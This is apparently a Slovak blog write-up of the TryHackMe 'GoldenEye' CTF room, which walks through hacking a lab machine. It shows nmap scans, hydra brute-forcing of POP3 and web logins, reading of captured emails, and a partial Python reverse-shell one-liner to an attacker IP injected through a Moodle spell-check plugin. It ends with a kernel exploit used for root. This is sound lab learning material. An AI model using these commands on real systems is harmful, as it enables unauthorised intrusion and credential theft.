Príspevok

TryHackMe - GoldenEye (Zlaté Oko)

Veľmi vyčerpávajúce hľadanie vlajky cez webové stránky a pluginy

TryHackMe - GoldenEye (Zlaté Oko)

Úvod

Dobre, toto bolo hodnotené ako Medium a primerane, veľa som bojoval, ale veľa som sa aj naučil.

Tryhackme Room Link

Úloha 1

Začnime nmap skenom:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -T4 -n -sC -sV -Pn -p- 10.10.177.35
PORT      STATE SERVICE  VERSION
25/tcp    open  smtp     Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after:  2028-04-21T03:22:34
80/tcp    open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52
|_pop3-capabilities: USER SASL(PLAIN) TOP PIPELINING AUTH-RESP-CODE UIDL RESP-CODES CAPA
55007/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: TOP RESP-CODES SASL(PLAIN) STLS CAPA AUTH-RESP-CODE UIDL PIPELINING USER
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after:  2028-04-23T03:23:52

Otázka: Použite nmap na sken siete pre všetky porty. Koľko portov je otvorených?

Odpoveď:

1
4

Navštívime webovú stránku 10.10.177.35:80 V zdrojovom kóde terminal.js môžeme vidieť nejaké zakódované heslo

Terminal.js

Seems to be HTML encoded

Terminal.js

Otázka: Kto sa musí uistiť, že aktualizuje svoje predvolené heslo?

Odpoveď:

1
boris

Otázka: Aké je jeho heslo?

odpoveď:

1
<CENSORED>

Podarilo sa nám prihlásiť pomocou týchto prihlasovacích údajov

Úloha 2

Poďme nájsť heslo pre pop3

1
$ hydra -l boris -P /usr/share/wordlists/rockyou.txt -t20 10.10.177.35 -s 55007 -I pop3

Otázka: Možno Hydra? Aké je ich nové heslo?

Odpoveď:

1
se<CENSORED>
1
2
3
4
5
6
7
8
9
$ telnet 10.10.177.35 55007
Trying 10.10.177.35...
Connected to 10.10.177.35.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS <CENSORED>
+OK Logged in.

Teraz môžeme vypísať e-maily pomocou príkazov RETR 1, 2 a 3

1
2
3
4
5
6
7
8
9
10
11
12
13
RETR 1
+OK 544 octets
Return-Path: <[email protected]>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with SMTP id D9E47454B1
        for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: [email protected]

Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
1
2
3
4
5
6
7
8
9
10
11
12
13
RETR 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id C3F2B454B1
        for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu

Boris, I can break your codes!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
RETR 3
+OK 921 octets
Return-Path: <[email protected]>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
        by ubuntu (Postfix) with ESMTP id 4B9F4454B1
        for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: [email protected]

Boris,

Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!

Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....

PS - Keep security tight or we will be compromised.

Nie je tu nič zaujímavé, ale máme viac používateľských mien a môžeme sa ich pokúsiť prelomiť hrubou silou

1
$ hydra -l natalya -P /usr/share/wordlists/rockyou.txt -t20 10.10.177.35 -s 55007 -I pop3

Otázka: Skontrolujte port 55007, aké služby sú nakonfigurované na používanie tohto portu?

Odpoveď:

1
telnet

Otázka: Čo v tejto službe nájdete?

Odpoveď:

1
emails

Otázka: Ktorý používateľ dokáže prelomiť Borisove kódy?

Odpoveď:

1
natalya

Úloha 3

Pridajme si severnaya-station.com do nášho súboru /etc/hosts

1
2
sudo nano /etc/hosts
10.10.177.35   severnaya-station.com

Navštívme stránku severnaya-station.com/gnocertdir

Vidíme prihlasovací formulár, po niekoľkých pokusoch môžeme použiť prihlasovacie údaje pre Xenia

Pozrime sa po webe a náchádzame ďalšieho používateľa dr_doak

Bruteforcingom hesla sa môžeme prihlásiť ako Dr Doak a v súkromných súboroch môžeme vidieť s3cret.txt

1
2
3
4
5
6
7
8
9
10
└─$ cat s3cret.txt 
007,

I was able to capture this apps adm1n cr3ds through clear txt. 

Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here. 

Something juicy is located here: /dir007key/for-007.jpg

Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.

Poďme si teda stiahnuť súbor a pozrieť sa naň

1
2
$ wget 10.10.177.35/dir007key/for-007.jpg
exiftool for-007.jpg

A máme zakódovaný string pomocou base64

Terminal.js

1
2
└─$ echo <OUR STRING FROM FILE> | base64 -d
<PASSWORD>

Takže sa môžeme prihlásiť ako admin, pretože máme prihlasovacie údaje

Úloha 4

Som trochu bezradný, takže používam nápovedu z webovej stránky tryhackme TIP: Pozrite sa na Aspell, doplnok na kontrolu pravopisu

Pozrime sa na to a zdá sa, že máme do čoho vložiť reverse shell

User Flag

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.75.122",1337)

Nefunguje.

Po vložení kódu tam musíme pridať nový záznam a potom spustiť doplnok kontroly pravopisu. Keď to urobíme, spustí sa kód a dostaneme reverse shell.

Otázka: Aká je verzia kernelu?

Odpoveď:

1
3.13.0-32-generic

Ak chceme získať poslednú vlajku, odporúčajú nám použiť https://www.exploit-db.com/exploits/37292

Stiahneme si ho a prispôsobíme našim potrebám Po vstupe do stroja ho musíme skompilovať

1
2
$ cc exploit.c -o exploit
./exploit
1
2
cat /root/.flag.txt
<CENSORED>
Tento príspevok je licencovaný pod CC BY 4.0 autorom.